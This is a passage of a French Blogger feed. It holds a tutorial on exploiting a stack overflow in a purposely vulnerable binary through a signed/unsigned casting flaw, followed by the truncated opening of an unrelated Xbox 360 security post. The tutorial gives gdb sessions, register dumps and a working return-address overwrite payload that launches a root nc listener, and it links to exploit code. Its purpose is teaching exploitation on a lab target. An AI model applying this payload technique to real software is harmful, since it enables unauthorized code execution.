&lt;i style=&quot;color: red;&quot;&gt;root[Casting_error]# uname -a &amp;amp;&amp;amp; cat /proc/sys/kernel/randomize_va_space &lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Linux zenwalk 2.6.33.4 #&lt;/i&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;i style=&quot;color: red;&quot;&gt;1 SMP PREEMPT Fri May 14 13:02:33 CEST 2010 i686 Intel(R) Pentium(R) 4
CPU 3.06GHz GenuineIntel GNU/Linux &lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;2 &lt;/i&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;A présent compilons le binaire de façon suffisament sure pour rentre cette exploitation intéréssante;&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;a quoi bon compiler et exploiter des binaires compilés avec -fno-stack-protector pour la énnième fois..&lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;root[Casting_error]#gcc -Wall -Werror-o vuvu vuvu.c&lt;/i&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;(On remarquera au passage que malgré les arguments passés, &lt;span style=&quot;font-style: italic;&quot;&gt;GCC ne renvois aucun warnings&lt;/span&gt; lors de la compilation,&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;cela démontre que pour lui tout est correctement codé (&#39;fin si on veux..)&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;pre&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;i style=&quot;color: red;&quot;&gt;et que toute les fonctions sont utilisées selon les usages ) .&lt;/i&gt;&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;i style=&quot;color: red;&quot;&gt;Lançons le afin de le tester un peu:&lt;/i&gt;&lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;&lt;i style=&quot;color: red;&quot;&gt;kmkz[Casting_error]# ./vuvu aaaaaaaaaa&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Overflow attempt detected!&lt;/i&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt; Ok, passons aux choses sérieuses:&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;On remarque ici qu&#39;il ne passe pas la condition , en effet , le code source indique que si argv[1] &amp;gt;= 64 ,&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;alors on affiche ce message et on quitte le programme.&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Pourtant notre but sera d&#39;accéder a la fonction «serveur» afin de le lancer malgré qu&#39;il ne soit,en théorie, pas accéssible .&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Comment faire?&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Simple me direz-vous , dans un premier temps il faudra bypasser ce contrôle, voici comment on va procéder.&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt; Pour commencer on lui indiquera un nombre  inférieur  à 64  pour tester sa réaction: &lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;kmkz[Casting_error]$ ./vuvu `printf &quot;63&quot;``perl -e &#39;print &quot;A&quot;x82&#39;`&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;kmkz[Casting_error]$ &lt;/i&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Bon , maintenant voyons voir comment le binaire réagit avec de l&#39;hexa (on sait que  \x3f = 63 , donc \x40 = 64 )&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;i style=&quot;color: red;&quot;&gt;on check :&lt;/i&gt;&lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;&lt;i style=&quot;color: red;&quot;&gt;kmkz[Casting_error]# ./vuvu `printf &quot;\x40&quot;``perl -e &#39;print &quot;A&quot;x82&#39;`&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;Overflow attempt detected!&lt;/i&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Ici on voit bien que la tentative d&#39;overflow échoue car la condition n&#39;est pas vérifiée.&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Essayons maintenant de bypasser ce controle avec une valeur telle que \x80 (&lt;span style=&quot;font-weight: bold;&quot;&gt;-128&lt;/span&gt;) afin de déborder&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;et d&#39;écraser EIP.&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Pourquoi \x80?&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Tout simplement une question de Bits :P .&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt; Il faut garder a l&#39;esprit la vérification faites par la condition , sachant que le type attendu en 3eme argument&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt; qui est défini par le prototype de la fonction strncat() doit etre size_t ,soit unsigned int , un argument comme&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;par exemple \x79 nous empècherait de bypasser ce test car les bits seraient alors organisés comme suit:&lt;/span&gt;
&lt;b style=&quot;color: #ffcc99;&quot;&gt;128 - 64 - 32 - 16 - 8 - 4 - 2 – 1 (Bits de l&#39;octet)&lt;/b&gt;
&lt;span style=&quot;color: #ffcc99;&quot;&gt;   &lt;/span&gt;&lt;b style=&quot;color: #ffcc99;&quot;&gt;0      1     1     1    1    0   0    1 ( Bits)&lt;/b&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;cela renverrait alors une erreur car la valeur serait bien trop grande ! &lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;x80 quand a lui est un nombre négatif (de \xFF à \x80) et s&#39;étend sur les 24 premiers Bits quand il est de type signé,&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt; néanmoins , lorsqu&#39;il est utilisé dans strncat() il devient unsigned , ce qui signifie que les Bits passent a «1»&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt; lui donnant ainsi une valeur bien plus grande que 64 , du coup cela génère bien un overflow.&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Allez , maintenant qu&#39;on connait la théorie , place à la pratique :&lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;kmkz[Casting_error]# ./vuvu `printf &quot;\x80&quot;``perl -e &#39;print &quot;A&quot;x760&#39;` // 760 soyons fou ...&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style=&quot;color: #cccccc;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Erreur de segmentation&lt;/span&gt; &lt;/i&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt; &amp;lt;-- Intéréssant , on a pu enfin obtenir un segfault  :P&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Allons voir ça de plus prés avec notre ami GDB:&lt;/span&gt;

&lt;i style=&quot;color: red;&quot;&gt;(gdb) r `printf &quot;\x80&quot;``perl -e &#39;print &quot;A&quot;x82&#39;`  //82 car c&#39;est ici la limite du segfault&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf &quot;\x80&quot;``perl -e &#39;print &quot;A&quot;x82&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;&#39;`&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;0x41414141 in ?? ()&lt;/i&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Regardons ce qui se passe au niveau du code assembleur et des registres : &lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;   ...&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;  &lt;span style=&quot;color: red;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;0x08048580 &amp;lt;+106&amp;gt;:  movb   $0x0,-0x8(%ebp) &lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt;   &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;0x08048584 &amp;lt;+110&amp;gt;:   cmpb   $0x3f,-0x9(%ebp) &lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt;   &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;0x08048588 &amp;lt;+114&amp;gt;:   jle    0x80485ab &amp;lt;function_verif+149&amp;gt; &lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit--- &lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt;   &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;0x0804858a &amp;lt;+116&amp;gt;:   mov    0x80498e0,%eax &lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt;   &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;0x0804858f &amp;lt;+121&amp;gt;:   mov    %eax,%edx &lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt;   &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;0x08048591 &amp;lt;+123&amp;gt;:   mov    $0x8048758,%eax &lt;/i&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;   ...&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Plaçons quelques points d&#39;arrêts pour pouvoir y voir plus clair:&lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;(gdb) b *function_verif+114&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Breakpoint 1 at 0x8048588&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;(gdb) b *function_verif+116&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Breakpoint 7 at 0x804858a&lt;/i&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Allez , let&#39;s go ! &lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;(gdb) r `printf &quot;\x80&quot;``perl -e &#39;print &quot;A&quot;x82 . &quot;\00&quot;&#39;`&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;The program being debugged has been started already.&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Start it from the beginning? (y or n) y&lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf &quot;\x80&quot;``perl -e &#39;print &quot;A&quot;x82 . &quot;\00&quot;&#39;`&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;Breakpoint 1, 0x08048588 in function_verif ()&lt;/i&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;On fait un info registers:&lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;(gdb) i r&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;eax            0x0      0                  --&amp;gt; le nullbyte de buff[0],(mov  $0x0,%eax)&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;ecx            0x1      1&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;edx            0xbffff23f       -1073745345&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;ebx            0x3f     63                 --&amp;gt; notre char initialisé à 64 (moins le nullbyte,soit 63) octets&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;esp            0xbffff1f0       0xbffff1f0&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;ebp            0xbffff248       0xbffff248&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;esi            0x0      0                  --&amp;gt; Nullbyte de buff[65]&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;edi            0xbffff23c       -1073745348&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;eip            0x8048588        0x8048588 &amp;lt;function_verif+114&amp;gt;&lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;(gdb) c&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Continuing.&lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;0x41414141 in ?? ()&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;(gdb) i r&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;eax            0x0      0                  --&amp;gt; le nullbyte de buff[0],(mov  $0x0,%eax)&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;ecx            0xffffff7f       -128       --&amp;gt; notre argument nécéssaire pour l&#39;overflow (\x80)&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;edx            0xbffff24e       -1073745330&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;ebx            0x41414141       1094795585&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;esp            0xbffff250       0xbffff250&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;ebp            0x41414141       0x41414141&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;esi            0x0      0                  --&amp;gt; Nullbyte de buff[65]&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;edi            0x41414141       1094795585&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;eip            0x41414141       0x41414141&lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;(gdb) i s&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;#0  0x41414141 in ?? ()&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;#1  0xbfff0041 in ?? ()&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Backtrace stopped: previous frame inner to this frame (&lt;b&gt;corrupt stack&lt;/b&gt;?)&lt;/i&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Ici on se rend bien compte de l&#39;overflowing de la stack, tentons a présent de l&#39;exploiter mauellement puis &lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;a l&#39;aide de l&#39;exploit codé a cet effet. &lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Exploitation via détournement de fonction (un ret-into_PLT serait a envisagé mais j&#39;ai opté pour cette méthode&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;car elle ne nécéssite que peu de connaissance et est relativement simple a pratir du moment ou EIP est &lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;overwrité): &lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;objdump -d vuvu | grep serveur&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;080485d4 &amp;lt;serveur&amp;gt;:&lt;/i&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Voilà , l&#39;exploitation peu avoir lieu afin de lancer le serveur soit-disant inaccéssible contruison le avec l&#39;adresse fixée précédemment.&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt; 82-5 =77 Octets  soit 4 Octets pour l&#39;offset de retour (fonction serveur), 1 pour notre argument hexadécimal et on ajoutera un NullByte&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;pour la fin de string (non obligatoire ici , mais plus propre).&lt;/span&gt;
&lt;i style=&quot;color: red;&quot;&gt;(gdb) r `perl -e &#39;print &quot;\x80&quot; . &quot;A&quot;x77 . &quot;\xd4\x85\x04\x08&quot; . &quot;\00&quot;&#39;`&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;The program being debugged has been started already.&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Start it from the beginning? (y or n) y&lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `perl -e &#39;print &quot;\x80&quot; . &quot;A&quot;x77 . &quot;\xd4\x85\x04\x08&quot; . &quot;\00&quot;&#39;`&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;[+] Welcome on Private Access Plateform (PAP) project&lt;/i&gt;
&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;i style=&quot;color: red;&quot;&gt;[-] Server unrecheable , please contact the administrator &lt;/i&gt;

&lt;i style=&quot;color: red;&quot;&gt;Breakpoint 1, 0x08048588 in function_verif ()&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;(gdb) c&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;Continuing.&lt;/i&gt;
&lt;i style=&quot;color: red;&quot;&gt;[+] Activating server on port : 6666 &lt;/i&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Du coté du méchant hacker le serveur est bien lancé , vérifions son fonctionnement et ses droits au cas ou ..: &lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;...&lt;/span&gt;
&lt;b style=&quot;color: #ff6600;&quot;&gt;tcp        0      0 *:6666                  *:*                     LISTEN      root       18892       2786/nc  &lt;/b&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;L&#39;exploitation a bien fonctionné , voyons maintenant avec notre exploit .&lt;/span&gt;

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiidZsNtEuobEslXepYftg638UzK7tFQqY9DjvPTbz2RWZqKMEUdraKjqXbhfO3biskKtWqU4IGS11BubDFjiYOZljM8qW7PNUweJEedOwQ2Sb370vI8jxxsmF10_8KBmyD1PNy1X2tNajb/s1600/screen_xploit.gif&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5539532341967467858&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiidZsNtEuobEslXepYftg638UzK7tFQqY9DjvPTbz2RWZqKMEUdraKjqXbhfO3biskKtWqU4IGS11BubDFjiYOZljM8qW7PNUweJEedOwQ2Sb370vI8jxxsmF10_8KBmyD1PNy1X2tNajb/s320/screen_xploit.gif&quot; style=&quot;cursor: pointer; display: block; height: 122px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Voilà , j&#39;espère que cela vous donnera des idées simpa ,&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;pre&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;il me reste plus qu&#39;à vous dire a bientôt pour de nouvelles aventures.&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;\o&amp;gt;

Links:
&lt;/span&gt;&lt;/i&gt;&lt;/pre&gt;&lt;i style=&quot;color: red;&quot;&gt;&lt;a href=&quot;http://membres.lycos.fr/profil4/kmkz/Exploits/exploit&quot;&gt;&lt;span style=&quot;color: #3366ff;&quot;&gt;Exploit&lt;/span&gt;&lt;/a&gt;

&lt;span style=&quot;color: #3366ff;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;a href=&quot;http://membres.lycos.fr/profil4/kmkz/Exploits/vuvu.c&quot;&gt;&lt;span style=&quot;color: #3366ff;&quot;&gt;Binaire(source vuvu.c)&lt;/span&gt;&lt;/a&gt;
&lt;a href=&quot;http://membres.lycos.fr/profil4/kmkz/Exploits/Exploitation_article.pdf&quot;&gt;&lt;span style=&quot;color: #3366ff;&quot;&gt;Article PDF&lt;/span&gt;&lt;/a&gt;
  &lt;/i&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/8350044517346876451/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/8350044517346876451' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/8350044517346876451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/8350044517346876451'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2010/11/erreur-de-casting-ou-corruption-de-la.html' title='Erreur de Casting ou corruption de la stack en milieu hostile'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiidZsNtEuobEslXepYftg638UzK7tFQqY9DjvPTbz2RWZqKMEUdraKjqXbhfO3biskKtWqU4IGS11BubDFjiYOZljM8qW7PNUweJEedOwQ2Sb370vI8jxxsmF10_8KBmyD1PNy1X2tNajb/s72-c/screen_xploit.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-503160923466471372</id><published>2010-08-04T17:14:00.002+02:00</published><updated>2010-08-04T17:35:48.067+02:00</updated><title type='text'>Xbox 360 Security : Chapter 1</title><content type='html'>   &lt;!-- ======================================================= --&gt;   &lt;!-- Created by AbiWord, a free, Open Source wordprocessor.  --&gt;   &lt;!-- For more information visit http://www.abisource.com.    --&gt;   &lt;!-- ======================================================= --&gt;   &lt;meta equiv=&quot;content-type&quot; content=&quot;text/html;charset=UTF-8&quot;&gt;   &lt;title&gt;&lt;/title&gt;   &lt;style type=&quot;text/css&quot;&gt;    &lt;!-- #toc, .toc, .mw-warning { 	border: 1px solid #aaa; 	background-color: #f9f9f9; 	padding: 5px; 	font-size: 95%; } #toc h2, .toc h2 { 	display: inline; 	border: none; 	padding: 0; 	font-size: 100%; 	font-weight: bold; } #toc #toctitle, .toc #toctitle, #toc .toctitle, .toc .toctitle { 	text-align: center; } #toc ul, .toc ul { 	list-style-type: none; 	list-style-image: none; 	margin-left: 0; 	padding-left: 0; 	text-align: left; } #toc ul ul, .toc ul ul { 	margin: 0 0 0 2em; } #toc .toctoggle, .toc .toctoggle { 	font-size: 94%; }@media print, projection, embossed { 	body { 		padding-top:1in; 		padding-bottom:1in; 		padding-left:1in; 		padding-right:1in; 	} } body { 	font-family:&#39;Times New Roman&#39;; 	font-variant:normal; 	text-indent:0in; 	widows:2; 	font-style:normal; 	font-weight:normal; 	text-decoration:none; 	color:#000000; 	text-align:left; 	font-size:12pt; } table { } td { 	border-collapse:collapse; 	text-align:left; 	vertical-align:top; } p, h1, h2, h3, li { 	color:#000000; 	font-family:&#39;Times New Roman&#39;; 	font-size:12pt; 	text-align:left; 	vertical-align:normal; }      --&gt;   &lt;/style&gt;     &lt;div&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Me revoila ;-) .&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Depuis plusieurs mois , la &lt;span style=&quot;font-style: italic;&quot;&gt;3LRVS&lt;/span&gt; avait debute des recherches sur la securite des consoles Xbox360.&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Malheureusement , faute de temps et surtout de matos , nous avions mis de coté ces recherches , attendant de pouvoir avancer de f&lt;span lang=&quot;fr-FR&quot;&gt;açon plus &quot;concrete&quot;.&lt;/span&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;span lang=&quot;fr-FR&quot;&gt;C&#39;est chose faite , la &lt;span style=&quot;font-style: italic;&quot;&gt;3LRVS&lt;/span&gt; va reprendre du service \o/ , voila donc le moment opportunt pour vous proposer un article condensé sur l&#39;architecture et les bases de la securite sur ce type de machines en attendant nos premiere trouvailles (enfin , espérons le :P ).&lt;/span&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;span lang=&quot;fr-FR&quot;&gt;Let&#39;s go :&lt;/span&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(255, 204, 102); font-weight: bold;&quot;&gt;[*]Caractéristiques de l&#39;architecture de la Xbox 360 :&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;- Processeur (XCPU Xenon): &lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;                    PowerPC G5 d&#39;IBM x64 3-cores cadence a 3.2Ghz (1,6 Ghz en reel) .&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;                    Multithreads (2 threads [SMT] par core  : 1 en FPU + 1 en VMX) &lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;                    192Mo de cache total en L1 (level 1 ) et 1Mo en L2 (mode utilisateur)&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;  &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;*Soit: 32Kb en cache (instructions) + 32Kb en cache (donnees) , en Level 1&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(kernel mode).&lt;/span&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;- Memoire vive (RAM):  512 GDDR3 - 700 Mhz partagee avec le cpu Bande passante de 21.6 Go/s&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;- Architecture : PPC Big Endian (IBM)&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p dir=&quot;ltr&quot; style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;( &lt;a href=&quot;http://fr.wikipedia.org/wiki/Xenon_%28processeur%29&quot;&gt;http://fr.wikipedia.org/wiki/Xenon_(processeur)&lt;/a&gt; )&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    &lt;p style=&quot;color: rgb(255, 204, 102); font-weight: bold;&quot;&gt;[*] Prerequis :&lt;/p&gt;    &lt;p style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/p&gt;    